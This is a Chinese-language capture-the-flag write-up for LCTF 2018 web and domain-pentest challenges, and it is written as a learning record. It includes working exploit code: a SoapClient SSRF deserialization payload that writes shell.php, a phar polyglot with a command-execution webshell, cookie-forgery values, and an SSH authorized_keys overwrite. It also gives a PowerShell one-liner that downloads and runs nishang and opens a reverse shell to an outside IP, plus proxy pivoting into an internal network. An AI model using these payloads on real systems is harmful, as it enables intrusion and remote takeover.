LCTF2018-writeup

很害怕关环境,通宵了一晚把题目基本复现了一遍,睡醒之后发现环境真的关了,那么这波不亏。

bestphp’s revenge

XCTF FINAL bestphp的出题人的又一力作,这次是升级版。

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

还发现一个flag.phpenter description here目的很明确了,SSRF,再加上后面提示了反序列化,更明确了,soap->ssrf.
这题用了两个call_user_func,说一下当时的思路,一开始想的是第一个call_user_func只能用来对b进行变量覆盖,因为不然的话后面的第二个call_user_func就废了,然后这里的这个session操作也看得很迷,想到过soapclient和利用序列化处理器,但是soapclient也还需要调用一个它没有的方法才能去调用__call方法,当时就没想出来。

session_start

session_start可以传入数组来初始化并不是新鲜东西,bestphp就已经用了,这题也一样用到。

序列化处理器

其实序列化处理器这个知识点我之前已经写过了。。但是并没有想起来,可以看看我之前的文章,这也是这题的关键点之一。这里不再赘述,简单写两个demoenter description hereenter description hereenter description here可以明显看出存储方式上的不同,而php默认的是前者,也就是默认的序列化处理器是php而不是php_serializephp|为分隔符,分隔开key和value,而php_serialize则是标准的serialize函数处理后的数据。这里利用两个处理器的差异可以进行一波反序列化的操作。比如,在处理器为php_serialize时,传入的name是|C0mRaDe,而下一次session_start()进行反序列化时,还是用的默认处理器php,就会把C0mRaDe当作是value去反序列化。session_start会反序列化的原因如下:enter description here所以,我们传入的name如果是|+构造好的序列化数据,就可以触发反序列化漏洞。

Soapclient

这个也不是什么新知识点了,我之前的另一篇文章也提到过,这里也不赘述,原理就是这个enter description here

call_user_func

这个点看起来平平无奇,但是是我当时想soap这条路最想不通的。因为soap需要去调用它的一个不存在的方法才能触发反序列化漏洞,但是这里没地方给我调用啊。然后,来看一个demoenter description here没错。。当你传入一个数组的时候,call_user_func就变成了一个调用类方法的方法。
结合这三个点,这题就没啥问题了。先给一个生成soap反序列化payload的demo(from wupco)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=mvsjieeufj0idggkjd123zz'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
// $aaa = str_replace('^^','%0d%0a',$aaa);
// $aaa = str_replace('&','%26',$aaa);
echo $aaa."<br>";
$aaa=urlencode($aaa);
$aaa=str_replace('%5E%5E', '%0d%0a', $aaa);
echo $aaa;

// $c=unserialize(urldecode($aaa));
// $c->ss();
?>

step1:更改序列化处理器,并且传入要进行反序列化的payloadenter description herestep2:变量覆盖b,把$_SESSION['name']替换为Soapcliententer description herestep3:get flag.enter description here

God of domain-pentest

description:

windows域环境权限不好配,还请各位师傅高抬贵手,不要搅屎
c段只用到了0-20,不需要扫21-255,端口也只开放了常用端口。
web.lctf.com中有个域用户是web.lctf.com\buguake,密码是172.21.0.8的本地管理员密码

这个题cool得不行,Windows域渗透,Nu1L的大佬是全国唯一一队做出来的,膜。我看着wp弄了很久,也还是没有搞出来,但是还是记录一下我自己弄的过程。之前没怎么接触过内网渗透,所以这个部分完全是从一个小白的角度出发写的。

webshell

题目给了一个shellenter description here很多命令不能执行,phpinfo看一下,发现禁了很多函数enter description here根据出题人的wp可以绕过强行getshell,但是我这里写另一个方法。

reGeorg与proxychains配合使用

这里有两个必备的工具,一个是reGeorg,另一个是proxychainsproxychains的安装:./configure->make && make install->cp ./src/proxychains.conf /etc/proxychains.conf然后,修改/etc/proxychains.conf,配置socks代理enter description here然后运行reGeorgenter description here成功的话,这时候其实你已经处在目标的内网环境当中。接下来只需要在命令前面加个proxychains4就可以了,比如proxychains4 curl 123.207.99.17enter description here(来自题目IP)

进内网getshell

我nmap了一下,失败了,我也很绝望,不知道为什么。但是不要紧,我有wp,wp说172.21.0.8phpmyadmin,那我赶紧去写个shell。enter description hereenter description hereenter description here然后拿到webshellenter description here参考了这篇文章,用这个payload可以反弹shell。

1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 123.207.99.17 -port 2333

enter description here接下来的步骤我不会了,即使看了wp我也不知道他在干嘛,这题就先到这里。。内网渗透也是个大学问啊

T4lk 1s ch34p,sh0w m3 the sh31l

description:

It’s a hacker game ,the wonderful hacker can pwn it.
http://212.64.7.171/
ps:The only way you can get the flag is to use grep to check all the folders in the /

题目环境已关,本地复现,这题是我LCTF第一天做出来的唯一一题,太菜了Orz。
进来题目之后有个很酷的前端enter description here点进去就开始代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
 <?php

$SECRET = `../read_secret`;
$SANDBOX = "../data/" . md5($SECRET. $_SERVER["REMOTE_ADDR"]);
$FILEBOX = "../file/" . md5("K0rz3n". $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@mkdir($FILEBOX);



if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("md5", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}


class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}


class K0rz3n_secret_flag {
protected $file_path;
function __destruct(){
if(preg_match('/(log|etc|session|proc|data|read_secret|history|class|\.\.)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}


function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)){
die("Bye");
}
if ( !hash_equals(hash_hmac("md5", $data, $SECRET), $hmac) ){
die("Bye Bye");
}
$data = unserialize($data);

if ( !isset($data->avatar) ){
die("Bye Bye Bye");
}
return $data->avatar;
}


function upload($path) {
if(isset($_GET['url'])){
if(preg_match('/^(http|https).*/i', $_GET['url'])){
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a"){
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}else{
die("Hacker");
}
}else{
die("Miss the URL~~");
}
}


function show($path) {
if ( !is_dir($path) || !file_exists($path . "/avatar.gif")) {

$path = "/var/www";
}
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}


function check($path){
if(isset($_GET['c'])){
if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file)(.|\\s)*/i',$_GET['c'])){
die("Hacker Hacker Hacker");
}else{
$file_path = $_GET['c'];
list($width, $height, $type) = @getimagesize($file_path);
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}else{
list($width, $height, $type) = @getimagesize($path."/avatar.gif");
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}


function move($source_path,$dest_name){
global $FILEBOX;
$dest_path = $FILEBOX . "/" . $dest_name;
if(preg_match('/(log|etc|session|proc|root|secret|www|history|file|\.\.|ftp|php|phar|zlib|data|glob|ssh2|rar|ogg|expect|http|https)/i',$source_path)){
die("Hacker Hacker Hacker");
}else{
if(copy($source_path,$dest_path)){
die("Successful copy");
}else{
die("Copy failed");
}
}
}




$mode = $_GET["m"];

if ($mode == "upload"){
upload(check_session());
}
else if ($mode == "show"){
show(check_session());
}
else if ($mode == "check"){
check(check_session());
}
else if($mode == "move"){
move($_GET['source'],$_GET['dest']);
}
else{

highlight_file(__FILE__);
}

include("./comments.html");

分析

先看看几个函数的功能:

  • check_session检查签名,并且返回一个路径值
  • upload用来上传文件,题目开了allow_url_fopen,可以读取远端文件的内容,然后写到指定的位置,文件名是被限制死的
  • show用来查看文件
  • check用来检查文件,注意这里的getimagesize,瞬间就要想到phar反序列化
  • move完成一个复制的过程

先来看看check_session返回的路径,把cookie拿出来扔给它就可以了。enter description here这个结果就是传进各个函数中的$path。突然发现,check的waf并没有想象中那么严格,只匹配了开头,给了phar一条活路enter description here为啥说给了一条活路呢,请看这篇enter description here很明显,出题人是看了zsx大佬的博客得到的出题灵感。接下来思路很清晰,用upload函数把phar传上去,然后调用check函数,用phar协议结合getimagesize触发反序列化。

解题过程

生成phar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 

class K0rz3n_secret_flag{
protected $file_path='../data/6bf34a39764d154948e41c42b7bbd29c';
}

@unlink('shell.phar');
$phar=new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('te.txt','asd');
$phar->setStub("GIF89a".'<?php echo `$_GET[1]`;__HALT_COMPILER(); ?>');
$o=new K0rz3n_secret_flag();
$phar->setMetaData($o);
$phar->stopBuffering();

?>

放到VPS上,改名为avatar.gif,然后上传enter description here然后check触发反序列化http://192.168.222.201/T4lk%201s%20ch34p,sh0w%20m3%20the%20sh31l/www/html/LCTF.php?m=check&c=compress.zlib://phar://../data/6bf34a39764d154948e41c42b7bbd29c/avatar.gif/asd&1=lsenter description here最后用grep -r在/etc目录下找到flagenter description here

sh0w m3 the sh31l 4ga1n

description:

Real hackers won’t be fooled by filtering
ps:The only way you can get the flag is to use grep to check all the folders in the /

与上一题相比,两个题目只有K0rz3n_secret_flag这个类有所不同。

1
2
3
4
5
6
7
8
9
10
 <?php
class K0rz3n_secret_flag {
protected $file_path;
function __destruct(){
if(preg_match('/(log|etc|session|proc|data|read_secret|history|class|\.\.)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}

假的secret

这题相比起T4lk 1s ch34p,sh0w m3 the sh31l难度增加了不少,加强了wafenter description here不能用..和data,导致上一道题的包含自身的思路不能再用了,要另辟蹊径。在上一道题getshell之后发现,read_secret其实就是一串字符串,但是这里获取它的方法却是执行系统命令enter description here这也就导致了它返回的是一个null,从而导致签名可以伪造。enter description here伪造签名:enter description here此时check_session返回的就是/tmp了。于是这时候我们upload就是upload到/tmp目录下了,绕过了file_path的waf。再继续像上题一样包含即可。要注意这里/tmp目录会不停清文件,但是问题不大,开着burp轻轻地爆破,然后这边一样执行命令就可以了。enter description here

预期解

看到flag就知道,这个一样不是预期解。预期解在这里

L playground2

enter description here点进去看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import re
import os
http_schema = re.compile(r"https?")
url_parser = re.compile(r"(\w+)://([\w\-@\.:]+)/?([\w/_\-@&\?\.=%()]+)?(#[\w\-@&_\?()/%]+)?")
base_dir = os.path.dirname(os.path.abspath(__file__))
sandbox_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "sandbox")
def parse_file(path):
filename = os.path.join(sandbox_dir, path)
if "./" in filename or ".." in filename:
return "invalid content in url"
if not filename.startswith(base_dir):
return "url have to start with %s" % base_dir
if filename.endswith("py") or "flag" in filename:
return "invalid content in filename"
if os.path.isdir(filename):
file_list = os.listdir(filename)
return ", ".join(file_list)
elif os.path.isfile(filename):
with open(filename, "rb") as f:
content = f.read()
return content
else:
return "can't find file"
def parse(url):
fragments = url_parser.findall(url)
if len(fragments) != 1 or len(fragments[0]) != 4:
return("invalid url")
schema = fragments[0][0]
host = fragments[0][1]
path = fragments[0][2]
if http_schema.match(schema):
return "It's a valid http url"
elif schema == "file":
if host != "sandbox":
return "wrong file path"
return parse_file(path)
else:
return "unknown schema"

@app.route('/sandbox')
def render_static():
url = request.args.get("url")
try:
if url is None or url == "":
content = "no url input"
else:
content = parse(url)
resp = make_response(content)
except Exception:
resp = make_response("url error")
resp.mimetype = "text/plain"
return resp

这代码意思还比较明确,就是拿来解析url参数,然后读取文件内容的。这里要用到这个特性enter description here由此可以实现目录穿越。随便输一点enter description here得到了basedir。这里有一个知识点,运行python脚本时会生成一个__pycache__目录,里面存放的是pycenter description here这里可以直接读一下,列目录enter description here拿到main.pycsession.pyc,拿去反编译
main.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/')
def index():
user = request.cookies.get('user', '')
try:
username = session_decode(user)
except Exception:
username = get_username()
content = escape(username)
else:
if username == 'admin':
content = escape(FLAG)
else:
content = escape(username)

resp = make_response(render_template('main.html', content=content))
return resp

session.py:

1
2
3
4
5
6
7
8
def session_decode(info):
info_list = str.split(info, '.')
if len(info_list) != 2:
raise Exception('error info')
info_ = decode(info_list[0])
if not hash_verify(info_list[1], info_):
raise Exception('hash wrong')
return info_

hash.py:

1
2
3
4
5
6
7
8
9
10
class MDA:
def insert(self, inBuf):
self.init()
self.update(inBuf)
def grouping(self, inBufGroup):
hexdigest_group = ''
for inBuf in inBufGroup:
self.insert(inBuf)
hexdigest_group += self.hexdigest()
return hexdigest_group

可以看到,目的就是伪造cookie,这里他是每个字符分开去算,然后拼接,所以要做的就是分别找到a,d,m,i,n所对应的加密后的内容。这里只要一直把cookie清空,然后发多几次包收集一下就可以了enter description hereenter description hereenter description here最终payload:

1
user=MFSG22LO.b962d95efd25247984407154c863ef36e80346042c47531a6e1beb0db216d969b020cd1cf4031b57

(.前面就是个base32)
Finally…enter description here

Travel

description:

Go where you want to go
hint1: 没有需要扫描和fuzz的东西,RTFM!!!
hint2: 留意云服务商和差异性
hint3: header

进来就是源码enter description here

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*- 
from flask import request, render_template
from config import create_app
import os
import urllib
import requests
import uuid
app = create_app()

@app.route('/upload/', methods = ['PUT'])
def upload_file(filename):
name = request.cookies.get('name')
pwd = request.cookies.get('pwd')
if name != 'lctf' or pwd != str(uuid.getnode()):
return "0"
filename = urllib.unquote(filename)
with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), 'w') as f:
f.write(request.get_data(as_text = True))
return "1"
return "0"

@app.route('/', methods = ['GET'])
def index():
url = request.args.get('url', '')
if url == '':
return render_template('index.html')
if "http" != url[: 4]:
return "hacker"
try: response = requests.get(url, timeout = 10)
response.encoding = 'utf-8'
return response.text
except:
return "Something Error"

@app.route('/source', methods = ['GET'])
def get_source():
return open(__file__).read()

if __name__ == '__main__':
app.run()

有一个发送请求的功能,然后可以看到upload处的关键代码enter description here它先进行了一次urldecode(所以要二次编码),然后把POST的body的值写入指定的文件,这里同样要用到这个关键特性enter description here因此前面的路径名是无效的。还可以看到upload处需要获得uuid.getnode()的值,也就是MAC地址的十进制(HCTF碰到过)enter description herehint说留意云服务商和差异性,那么查一查enter description here发现是腾讯云,再看看腾讯云的文档,看到这个enter description here拿到mac地址enter description here那么uuid.getnode()就是90520735500403enter description here接下来的问题,怎么用PUT请求去访问upload?nginx仅用了PUT请求,要用X-HTTP-Method-Override:PUT绕过。然后就是往目标机器写authorized_keys了,可以写/home/lctf/.ssh/authorized_keysenter description here登上去读flag即可enter description here

Reference

https://www.anquanke.com/post/id/164569
https://xz.aliyun.com/t/3341#toc-18
https://www.anquanke.com/post/id/99793